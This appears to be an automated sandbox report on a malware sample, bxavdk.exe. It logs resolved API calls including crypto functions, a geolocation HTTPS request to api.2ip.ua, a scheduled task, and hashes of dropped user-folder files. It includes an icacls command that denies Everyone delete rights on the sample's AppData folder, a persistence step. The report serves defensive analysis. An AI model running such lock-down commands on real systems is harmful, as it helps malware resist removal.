Get Address c:\windows\syswow64\kernel32.dll function = GetConsoleMode, address_out = 0x76c31328 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapReAlloc, address_out = 0x77171f6e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetStdHandle, address_out = 0x76cb454f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetEndOfFile, address_out = 0x76c4ce2e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStdHandle, address_out = 0x76c351b3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileType, address_out = 0x76c33531 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleExW, address_out = 0x76c34a6f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteConsoleW, address_out = 0x76c57aca True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ReadConsoleW, address_out = 0x76cd739a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = OutputDebugStringW, address_out = 0x76c5d1d4 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleCtrlHandler, address_out = 0x76c38a09 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RtlUnwind, address_out = 0x76c5d1c3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LeaveCriticalSection, address_out = 0x77152270 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnterCriticalSection, address_out = 0x771522b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = AreFileApisANSI, address_out = 0x76cb40d1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcessHeap, address_out = 0x76c314e9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentThreadId, address_out = 0x76c31450 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentThread, address_out = 0x76c317ec True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCPInfo, address_out = 0x76c35189 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapFree, address_out = 0x76c314c9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetEnvironmentVariableA, address_out = 0x76c3e331 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EncodePointer, address_out = 0x77170fcb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DecodePointer, address_out = 0x77169d35 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetSystemTimeAsFileTime, address_out = 0x76c33509 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcess, address_out = 0x76c31809 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSemaphoreW, address_out = 0x76c4ca5a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetOEMCP, address_out = 0x76c5d1a1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetACP, address_out = 0x76c3179c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsValidCodePage, address_out = 0x76c34493 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsProcessorFeaturePresent, address_out = 0x76c35235 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindNextFileW, address_out = 0x76c354ee True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = LoadCursorW, address_out = 0x74f588f7 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = TranslateMessage, address_out = 0x74f57809 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = RegisterClassExW, address_out = 0x74f5b17d True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = ShowWindow, address_out = 0x74f60dfb True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = IsWindow, address_out = 0x74f57136 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = CreateWindowExW, address_out = 0x74f58a29 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = UpdateWindow, address_out = 0x74f63559 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DefWindowProcW, address_out = 0x771625dd True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = PeekMessageW, address_out = 0x74f605ba True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = PostThreadMessageW, address_out = 0x74f58bff True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = MessageBoxW, address_out = 0x74fafd3f True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DispatchMessageW, address_out = 0x74f5787b True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = PostQuitMessage, address_out = 0x74f59abb True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DestroyWindow, address_out = 0x74f59a55 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = SendMessageW, address_out = 0x74f59679 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = GetMessageW, address_out = 0x74f578e2 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptGetHashParam, address_out = 0x74d4df7e True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptAcquireContextW, address_out = 0x74d4df14 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = OpenSCManagerW, address_out = 0x74d4ca64 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = OpenServiceW, address_out = 0x74d4ca4c True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptReleaseContext, address_out = 0x74d4e124 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = GetUserNameW, address_out = 0x74d5157a True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptHashData, address_out = 0x74d4df36 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegSetValueExW, address_out = 0x74d514d6 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegCloseKey, address_out = 0x74d5469d True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptDestroyHash, address_out = 0x74d4df66 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = ControlService, address_out = 0x74d67144 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegOpenKeyExW, address_out = 0x74d5468d True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptCreateHash, address_out = 0x74d4df4e True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptEncrypt, address_out = 0x74d6779b True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptImportKey, address_out = 0x74d4c532 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = QueryServiceStatus, address_out = 0x74d52a86 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegQueryValueExW, address_out = 0x74d546ad True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CloseServiceHandle, address_out = 0x74d5369c True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetPathFromIDListW, address_out = 0x760617bf True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetSpecialFolderLocation, address_out = 0x7605e141 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = CommandLineToArgvW, address_out = 0x75fe9ee8 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = ShellExecuteA, address_out = 0x76217078 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = ShellExecuteExW, address_out = 0x75ff1e46 True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CoInitialize, address_out = 0x755fb636 True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CoInitializeSecurity, address_out = 0x75607259 True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CoUninitialize, address_out = 0x756286d3 True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CoCreateInstance, address_out = 0x75629d0b True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 202, address_out = 0x7522fd6b True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 2, address_out = 0x75224642 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 9, address_out = 0x75223eae True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 8, address_out = 0x75223ed5 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 6, address_out = 0x75223e59 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 200, address_out = 0x75223f21 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 12, address_out = 0x75225dee True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 201, address_out = 0x75224af8 True 1
Fn
Get Address c:\windows\syswow64\iphlpapi.dll function = GetAdaptersInfo, address_out = 0x74af9263 True 1
Fn
Get Address c:\windows\syswow64\ws2_32.dll function = 12, address_out = 0x75bcb131 True 1
Fn
Get Address c:\windows\syswow64\ws2_32.dll function = 11, address_out = 0x75bc311b True 1
Fn
Get Address c:\windows\syswow64\ws2_32.dll function = 52, address_out = 0x75bd7673 True 1
Fn
Get Address c:\windows\syswow64\dnsapi.dll function = DnsQuery_W, address_out = 0x74aa572c True 1
Fn
Get Address c:\windows\syswow64\dnsapi.dll function = DnsFree, address_out = 0x74a9436b True 1
Fn
Get Address c:\windows\syswow64\crypt32.dll function = CryptStringToBinaryA, address_out = 0x759e5d77 True 1
Fn
Get Address c:\windows\syswow64\msvcr100.dll function = atexit, address_out = 0x749ec544 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionEx, address_out = 0x76c34d28 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateEventExW, address_out = 0x76cb410b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSemaphoreExW, address_out = 0x76cb4195 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadStackGuarantee, address_out = 0x76c3d31f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThreadpoolTimer, address_out = 0x76c4ee7e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadpoolTimer, address_out = 0x7717441c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WaitForThreadpoolTimerCallbacks, address_out = 0x7719c50e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseThreadpoolTimer, address_out = 0x7719c381 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThreadpoolWait, address_out = 0x76c4f088 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadpoolWait, address_out = 0x771805d7 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseThreadpoolWait, address_out = 0x7719ca24 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlushProcessWriteBuffers, address_out = 0x77150b8c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibraryWhenCallbackReturns, address_out = 0x7720fde8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcessorNumber, address_out = 0x771a1e1d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLogicalProcessorInformation, address_out = 0x76cb4761 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSymbolicLinkW, address_out = 0x76cacd11 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetDefaultDllDirectories, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumSystemLocalesEx, address_out = 0x76cb424f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CompareStringEx, address_out = 0x76cb46b1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDateFormatEx, address_out = 0x76cc6676 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLocaleInfoEx, address_out = 0x76cb4751 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTimeFormatEx, address_out = 0x76cc65f1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetUserDefaultLocaleName, address_out = 0x76cb47c1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsValidLocaleName, address_out = 0x76cb47e1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringEx, address_out = 0x76cb47f1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentPackageId, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTickCount64, address_out = 0x76c4eee0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileInformationByHandleExW, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFileInformationByHandleW, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumProcesses, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumProcessModules, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleBaseNameW, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\psapi.dll function = EnumProcesses, address_out = 0x75141544 True 1
Fn
Get Address c:\windows\syswow64\psapi.dll function = EnumProcessModules, address_out = 0x75141408 True 1
Fn
Get Address c:\windows\syswow64\psapi.dll function = GetModuleBaseNameW, address_out = 0x7514152c True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetFolderPathW, address_out = 0x76055708 True 1
Fn
System (257)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-30 00:49:26 (UTC) True 2
Fn
Get Time type = Ticks, time = 99216 True 1
Fn
Get Time type = Performance Ctr, time = 14812752380 True 1
Fn
Get Time type = Ticks, time = 99263 True 90
Fn
Get Time type = Ticks, time = 99279 True 159
Fn
Get Time type = Performance Ctr, time = 15343543764 True 1
Fn
Get Time type = System Time, time = 2019-07-30 00:49:39 (UTC) True 1
Fn
Get Info type = Operating System True 1
Fn
Get Info type = Operating System True 1
Fn
Environment (2)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 2
Fn
Data
Network Behavior
HTTP Sessions (1)
»
Information Value
Total Data Sent 467 bytes
Total Data Received 7.12 KB
Contacted Host Count 1
Contacted Hosts 77.123.139.189
HTTP Session #1
»
Information Value
Server Name api.2ip.ua
Server Port 443
Username -
Password -
Data Sent 467 bytes
Data Received 7.12 KB
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = https, server_name = api.2ip.ua, server_port = 443 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /geo.json True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = https://api.2ip.ua/geo.json True 1
Fn
Read Response size = 10240, size_out = 465 True 1
Fn
Data
Close Session - True 1
Fn
Process #3: icacls.exe
0 0
»
Information Value
ID #3
File Name c:\windows\syswow64\icacls.exe
Command Line icacls "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\3a21fbc5-dd69-4c4d-8afb-49507938dea0" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Initial Working Directory C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\
Monitor Start Time: 00:00:48, Reason: Child Process
Unmonitor End Time: 00:00:50, Reason: Self Terminated
Monitor Duration 00:00:01
Remark No high level activity detected in monitored regions
OS Process Information
»
Information Value
PID 0xac8
Parent PID 0x9d8 (c:\users\5p5nrgjn0js halpmcxz\desktop\bxavdk.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x ACC
0x AD0
Process #4: taskeng.exe
0 0
»
Information Value
ID #4
File Name c:\windows\system32\taskeng.exe
Command Line taskeng.exe {0E3013FB-5D32-4499-A940-035C87CD1A3B} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\5p5NrGJn0jS HALPmcxz:Interactive:Highest[1]
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:49, Reason: Created Scheduled Job
Unmonitor End Time: 00:01:19, Reason: Self Terminated
Monitor Duration 00:00:30
Remark No high level activity detected in monitored regions
OS Process Information
»
Information Value
PID 0x50c
Parent PID 0x36c (Unknown)
Bitness 64-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x A90
0x 8D0
0x 578
0x 574
0x 520
0x 514
0x 510
Process #5: bxavdk.exe
3611 15
»
Information Value
ID #5
File Name c:\users\5p5nrgjn0js halpmcxz\desktop\bxavdk.exe
Command Line "C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\bxavdk.exe" --Admin IsNotAutoStart IsNotTask
Initial Working Directory C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\
Monitor Start Time: 00:00:49, Reason: Child Process
Unmonitor End Time: 00:01:10, Reason: Self Terminated
Monitor Duration 00:00:21
OS Process Information
»
Information Value
PID 0xad8
Parent PID 0x9d8 (c:\users\5p5nrgjn0js halpmcxz\desktop\bxavdk.exe)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x ADC
0x AE4
0x AE8
0x AEC
0x AF0
0x AF4
0x AF8
0x AFC
0x B00
0x B04
0x B08
0x B0C
0x B10
0x B1C
Dropped Files
»
Filename File Size Hash Values YARA Match Actions
C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Aclviho ASldjfl.contact 1.23 KB MD5: 69dc532e4927d1c683a9f1ce7a286d2a
SHA1: 2642ad062a0b21a9ecc02d7df02be83793a3270f
SHA256: f74ce671b0f7ecce0c76f9f32bdc34cf2b4337d356a395f3de7dc4d9fda3d95f
SSDeep: 24:7a6G4jpTmHiLty6+gBnYGnUtuGxX3r3tf65XQtkVbRstxf3g9xbD:7lfjpTmWXvyXb3tf65gtkVbqtqhD 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Administrator.contact 66.86 KB MD5: ab0414131e0024265c992efde2fd5672
SHA1: a9894bd04e996e9123fb9941fddb0f410c0ac05c
SHA256: 2cb36fc9b421cd73da09605f8bcbcec0e57ae7c6d16f6781678a28bd7f791493
SSDeep: 1536:yjtc2SWU8/9ShXwTd3tLWHpYipmBcP+eoERD:yjvVU8QhA2HlmBcP+eoEd 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\asdlfk poopvy.contact 1.22 KB MD5: 32b2cb6297bf395e366d5143046d9515
SHA1: cae2ec276b2b874b8d4e157ab278796eb30b1b15
SHA256: cc3994e0ab8f11e562bc5d855f24e93d7c6d50e80d5c418f9fe3b1941d2f0adc
SSDeep: 24:7a6G4jppevzQLt0nb5IRPoOtcjNwzgVS9xbD:7lfjpAhn0cGIuhD 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\sikvnb huvuib.contact 1.22 KB MD5: c112cbb3e7f51819f707a77261a1bd57
SHA1: cf44ef73d72408b942eb868ec5566782e0fcacd5
SHA256: e138d1a32a6a8c6f930b5822445e5d14cfd53d468791902578fa7e5e6ff292af
SSDeep: 24:7a6G4jpai+ADLtxByv55fKbRrlbYE96c/BFtbc9xbD:7lfjpn9yzoHY+6c1b0hD 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\5zH-zIr1.jpg 5.38 KB MD5: 77d9d2beb7a712907b9661fdc3388fbc
SHA1: 4cc11f5459b4875fe8f2056568aee628c033df53
SHA256: ac366bbf392fa8397d07fee5e46bf340a9aeff2ea11e2dd0594b03f4d9bf917c
SSDeep: 96:eZskAmTF0+nOk5g85+aePt/5bMSNFPt2EK5KGI8qd9QDNL2V8N2:emkAyF0+nOk5T+aePt/5YGwxKG6QDUVT 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\aOnv.rtf 70.83 KB MD5: 381af011ab5d368d173c7a71cdfcc98d
SHA1: ab1d2a0fe18cea3900162ab45240d64d8f9bb289
SHA256: 58ae1e15ea176828d26acbd16147fd6dfd49f7dd0f79d57dfe373c0809bb05d3
SSDeep: 1536:XFBCzkIHEnfEYcdObJhDQGVrqK3wQjW8g6Chd6ZUJL0wsDf484s:1akxcyKG55AVRZQ4ps 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\BHoyqXyEnI.wav 92.99 KB MD5: 335a23ee4ddf1e928b77ed4550e0a981
SHA1: 248c5f20c1845e8953027f03c683246bc53a28ef
SHA256: 1a0fc4beacc3de863647a9848905fa6245eb9e4bb652ca719fad0c15d4bc9aa8
SSDeep: 1536:fJv1j225OH2tm9/7HreeGlw1W/XtXp8bKl/AyrcQTWa3XUaZdK5cjq6NE/35:G25OWtm9zLJGwW//k239Ka3LdKG8p 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\I_wqzl.wav 91.24 KB MD5: d8987c30d7939d28a978dffc4f510c63
SHA1: ec372e47c4edf118c1c922a9f1b3fe30864346dd
SHA256: d5c4c311d1f3ef222451f91c1fedcb328b244be646a3fd32fe75ad795be1b388
SSDeep: 1536:HGFjOXul/00MruQu4A5fodber0mEGkuqaiBk0DqMICKI1cdFKBIKv/gsPc/GXCzm:HGhOXulzMufSE0/bBmwIIIK70eXCzTCP 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Q28Inf3N_0B4jbpxb7Nm.bmp 24.52 KB MD5: 27d9c5aa0b0dae8d78235c9f40d57c0c
SHA1: 234dc72766130efabbf389466999efaf393b01ef
SHA256: 2426065eb3ca029e0a0d3706c79acdafbf8af73697d369d66119d626d3117d5d
SSDeep: 384:nLffjMD1wRNLs4ZQ7/ldqOQy1QdFlGR17xGfoRtsuzANNXC84DNNywlc0VNy/:n7LMO/s4ZmlYhyqvGT0QDAHXCDDN/a+q 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\sBE3Xge.mkv 3.32 KB MD5: 02eb15ccd795f30af0e4576efce1f321
SHA1: 2040c68cfe532d37c40a3e8bf36613173a367468
SHA256: 2497507571f7bce5f99a66d84227e6ba3408e162b08cd13369e40f21c1a746c4
SSDeep: 96:izmV5KHrxNjMf+9aALHK4ZZViZy9aFbH6AUkoN:niHrxNjRaGbQ04uAUkoN 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\T-5.mkv 61.16 KB MD5: 8f6d3c00cd857f8a6e0a5dbadbff749e
SHA1: d7f3875e297c1b8de6b83238b70b4b168d2e6182
SHA256: 5f6e074b3ee1857c9e2f34741a22a08835e3cb23bf3e5d8c5ba27ea45c9e2218
SSDeep: 1536:jpdXymw96bR6tuXl4Ozc4DoSuwhtb1/cYMMUul:BwwR6gqOzfcSuAt2YdNl 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\W_6RWJXn.pdf 6.78 KB MD5: be497c439c7b61897c2ea26a4dc70274
SHA1: 225959c597857acdb40a13ed603fa99483be2c93
SHA256: b669a1dfa3990bffa39cb81376ef4035a9c07006b93d2339fc3dbb695d3ddd61
SSDeep: 192:tdY6CJQaq6vQ1O+zJ8AJ8KQAKg1dWZ+0AF9hUOYV:gq6+l8i8P8Q8fhUOYV 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\2toarBW5rlEiNoO5.xlsx 93.62 KB MD5: b821d51665786b36cbcb40237add298c
SHA1: 5b7127e1eb03e919ca473d36e4a6d68b65e1d114
SHA256: 77e32bcfe335e58e9bb5d35aea50bfc15c29bcacea93b358e6a892cc4a93201e
SSDeep: 1536:lXloXHtV8XyE42KzRdGcQTKP/IjQOgFax0uBsSzh6OBNsR4lemG7pToF2nZL4H8Z:LgUiENCbG7w/IsO2ax0PSz5BiR4MpsoR 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\9oBPh66lU7Zt.pptx 35.98 KB MD5: c1b258eee033c962ae499fea5ce88766
SHA1: c40627db194cab3a68e928edaf97ffa56dba2fcb
SHA256: 07df36ba060b30d57582b00bf1e0ff99653366ef7373daa2a3e88591af51782f
SSDeep: 768:/JmVgLaeYEi3xsK4sMnlakfdwqiLiXRgatb72jRL7OJvX:/+gLDnQ4sMngkfd8LihbEkd 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\BuZP.pptx 76.40 KB MD5: baaf4addd4d38b28c9e2665de01086a0
SHA1: fe08ab35bd7c6f2baab63f819d76a1ee7c529c17
SHA256: 504bebf3cb680833963a3652762d4984729be2d16485e1ed672e32843e625e88
SSDeep: 1536:msOM1iPjBam52vTXg+9dpIsP5jue3NDLxAqgu+WuMU326InKatDHiSziwnl93E:6T7DSTXrTFP5juq+g+WJUmjKkDCSxlG 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\mKDXp.docx 41.82 KB MD5: 928f2600cab8ccff0d1e13b4b1b104f7
SHA1: c9cc164ab74ecd9090e7c0d033030465ef6cab24
SHA256: 6bb52343368848dd5ca6290e319c3a27e11506cbf8bfaf8e6593293e6b5d5ba2
SSDeep: 768:JzM/ttdb/KCYP/Rd37AN/wDL9Ip1S8mhmss1lEbgIR+BRxrfkBRDCnHgU0XBeS1q:6/ttJK/P5drAN/cLWf3xAr4HgJeSc 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\t5djWBc.xlsx 5.61 KB MD5: f5f872e277ea97118c83d7b78abc730f
SHA1: 1f939798a73c36beb0e49291cefe1142d1a789b2
SHA256: 5a05132b4d6a0c1afe1d21b6b729016b03e78f0866470d816351986d7e7205d7
SSDeep: 96:iQ6eR2x8OO1puZ496loe/HkueAGXiaCTuCp+pt8E4:j6eR2x8OO1puayH3IVJCpM4 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\H2RlJNYiG6Mk.mp3 19.23 KB MD5: 413e0bd1929a3d32907c4e0fed6f967d
SHA1: c99f27829f3d8ff0e78d9428b3ff14a770875f4d
SHA256: ccbd326cb40cae711035d3fe7a6b82b61337319454dac353955fba2eaaa1ad9e
SSDeep: 384:C4d9Oq22f5GtGzhZn8b/Xsmtdcz9ccpstVcC+lG+eUc:ldMPWItOH8bcmtaOcuVn+neZ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\miLI HhNB0PH1Dx.mp3 14.49 KB MD5: ea6463bc17c77ef5c26999d1a912ec43
SHA1: ac4649d4adb90aa307afa78c82724368788ba847
SHA256: ba1b5c1b1c85cea3d0442bddaa090c2174ac0a28297e4f9936436127782ecfec
SSDeep: 384:CQTtas8/laSpE7lqPmzQQmV6fdFgzYhgOuxEiQ3n:VtVYpE7limzGbeuxEiQ3n 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\gsjZHHkpLbVJkW1Clgz.jpg 13.03 KB MD5: 414c52a9b888714517e1e08818f255d3
SHA1: 86c4339e10194a037844f45ddeca6565e33dc710
SHA256: f164229e534ae13e0c91bce8decd34caf75564878710c6c07ab4d16eae65d21c
SSDeep: 384:e7VTYts8otRYRvaTzoBglJ+wTy4/P6DU5j0Q7gX5:e50sTtR8FyJ5/5YQc 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\QCte6Xmtwsu.gif 49.06 KB MD5: 2e2114a3456aa36546a06d878ba6e0dd
SHA1: ece32412cf4a947b44ffd2b0ccf80ebc170c7b49
SHA256: 0cfb699583844a23ec1fa7d15c858d4bbe37219c35c03b49480fcc2561a28e46
SSDeep: 1536:miReTMTM9HAWgJIe5GCAA3lyxpryNF0YvU9Jc:miReTZgWg2e5zAA3UxNsFc96 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\flxbNwcWgV0n4kR.flv 31.46 KB MD5: 705151f26eb9ca1b15fb9bb3f7b5b79c
SHA1: 7359524ffbc43ebae3bbfeb006024e6c9e057b70
SHA256: 0e08c7c77fcd620c316a71a434e515a1c791142e54a7176ed85376e770b439e2
SSDeep: 768:v1jnibBQk8nRU68vzO7TUvzDU0BHOXGe4VQiXHciy5I/8Y:9jiekSRmOPU7DU0BuXGjf5yK/8Y 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\Pea4H1Vnl0zHM1NrtA.avi 32.05 KB MD5: a7a8a6cd3e013cc05d83afdfc38ba6e6
SHA1: fe61bced6be604b6e7c7bb11fd1c2511c7b5add3
SHA256: 8836029265f281924168e349eb535f318d862f54f2a51c81ab8587e767d1d8e0
SSDeep: 768:U1XrTPMB4oORKu5exU4hpxSPO6hIyTbfcexQ/yE6rbP:WnPMB4oaeuOSPO6Hl9rT 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\cU4HnKjcRa.mp4 73.14 KB MD5: 8215956523c5def82cbd7bf24740e87b
SHA1: 5effd84777e157fdd410dbddf8e7b49fecf02c0b
SHA256: c6a5e5da101148d15a5e0d112dfef7259c707744686c8ad174e5b092d1a918d1
SSDeep: 1536:2HfuFIdOPEHiT23ZuJi7fy1m9aZUn3At3ZLV0yssjorfOgFQ3rwh/kEc:gGFIdOPR23gJkUuaZUQptV0bhrWgFC8S 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\wn06NIgti1n58uLcV.pptx 35.33 KB MD5: 66fb51b7443b5b9d5a6b1245acb69936
SHA1: b1037d3e3b144bccfb7b589c5f5872154ee049c4
